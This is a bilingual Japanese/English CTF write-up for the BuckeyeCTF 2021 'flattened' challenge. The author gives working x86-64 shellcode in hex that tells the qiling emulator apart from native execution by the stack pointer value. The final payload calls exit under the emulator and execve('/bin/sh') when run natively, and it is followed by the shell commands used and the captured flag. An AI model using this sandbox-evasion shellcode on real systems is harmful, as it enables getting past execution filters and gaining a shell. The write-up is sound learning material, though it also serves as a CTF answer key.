flattened

TCPサーバの接続情報と、サーバのファイル一式が与えられた。
chall.py を読むと、以下の処理をしていることが読み取れた。

  1. x86-64の機械語を16進数で入力させる。
  2. エミュレータ qiling を用い、入力された機械語を実行する。
    • 1 (write) および 0x3c (exit) 以外のシステムコールが実行されたら、終了する。
    • 実行された命令のうち、ジャンプや分岐以外の命令を記録する。
  3. 記録された命令をもとにELFを作成し、実行する。

そこで、NASMを用いて機械語を作成し、CyberChefで16進数に変換することにした。

Information to connect to a TCP server, and the files for the server were given.
Reading chall.py, I found it doing this process:

  1. Accept a line of x86-64 machine code in hexadecimal.
  2. Execute the machine code entered on an emulator qiling.
    • Exit when system calls other than 1 (write) and 0x3c (exit) are executed.
    • Record executed instructions other than jump and branch instructions.
  3. Create an ELF from the recorded instructions and execute that.

Seeing this, I decided to create machine code using NASM and convert that to hexadecimal using CyberChef.

To Hex - CyberChef

まず、以下のコードを用い、実行中のプログラムカウンタを出力してみることを試みた。

Firstly, I tried to print the value of the program counter in execution using this program:

test1.asm

488d05000000005031ff4889e6ba04000000b8010000000f05b83c00000031ff0f05

しかし、UnicodeDecodeError というエラーが出てしまった。

そこで、簡単な実装でアドレスを文字で表現するため、16進数のそれぞれの桁をa~pのアルファベットで表現する以下のコードを実行した。

Unfortunately, this resulted in an error UnicodeDecodeError.

Seeing this, to express the address using characters in a simple implementation, I executed this code to express each hexadecimal digits using alphabets from a to p.

test2.asm

48b861616161616161616a0a5050488d15ebffffff88d0240f0044240f48c1ea0488d0240f0044240e48c1ea0488d0240f0044240d48c1ea0488d0240f0044240c48c1ea0488d0240f0044240b48c1ea0488d0240f0044240a48c1ea0488d0240f0044240948c1ea0488d0240f0044240848c1ea0488d0240f0044240748c1ea0488d0240f0044240648c1ea0488d0240f0044240548c1ea0488d0240f0044240448c1ea0488d0240f0044240348c1ea0488d0240f0044240248c1ea0488d0240f0044240148c1ea0488d0240f000424bf010000004889e6ba11000000b8010000000f05b83c00000031ff0f05

結果、qiling による実行とELFによる実行でともに aaaaaaaaabbppaaa (00000000011ff000) と出力され、判別はできなそうだった。
なお、出力のデコードは以下のRecipeで行える。

As a result, it printed aaaaaaaaabbppaaa (00000000011ff000) in both of executions on qiling and ELF, and it didn't look distinguishable.
I used this Recipe to decode the output:

Substitute - CyberChef

次に、同様にスタックポインタの値を出力してみた。

Then, I tried printing the value of the stack pointer in the same way:

test3.asm

48b861616161616161616a0a50504889e288d0240f0044240f48c1ea0488d0240f0044240e48c1ea0488d0240f0044240d48c1ea0488d0240f0044240c48c1ea0488d0240f0044240b48c1ea0488d0240f0044240a48c1ea0488d0240f0044240948c1ea0488d0240f0044240848c1ea0488d0240f0044240748c1ea0488d0240f0044240648c1ea0488d0240f0044240548c1ea0488d0240f0044240448c1ea0488d0240f0044240348c1ea0488d0240f0044240248c1ea0488d0240f0044240148c1ea0488d0240f000424bf010000004889e6ba11000000b8010000000f05b83c00000031ff0f05

すると、qiling による実行では aaaaaaaaabbpopoi (00000000011fefe8)、ELFによる実行では aaaahppoodlfimki (00007ffee3b58ca8) と出力され、差が見つかった。

これを利用し、小さいスタックポインタを用いた qiling による実行ではシステムコール 60 - 0 = 60 (exit) を実行し、
大きいスタックポインタを用いたELFによる実行ではシステムコール 60 - 1 = 59 (execve) を実行する、以下のコードを実行した。

As a result, the execution on qiling printed aaaaaaaaabbpopoi (00000000011fefe8) and the execution using ELF printed aaaahppoodlfimki (00007ffee3b58ca8). Here is a difference!

Based on this, I executed this program to execute a system call 60 - 0 = 60 (exit) on qiling, which uses a small value of the stack pointer,
and a system call 60 - 1 = 59 (execve) on ELF, which uses a large value of the stack pointer.

payload.asm

48b82f62696e2f73680050b83c0000004889e731f631d24889e148c1e92e29c80f05

このプログラムを実行させると、シェルの操作が可能になった。
ls -al コマンドを実行すると、ファイル flag.txt があることがわかった。
cat flag.txt コマンドを実行すると、flagが得られた。

Executing this program made the shell available.
I found a file flag.txt by executing a command ls -al.
I obtained the flag by executing a command cat flag.txt.

buckeye{execve_plu5_0n3_1s_exit}

BuckeyeCTF 2021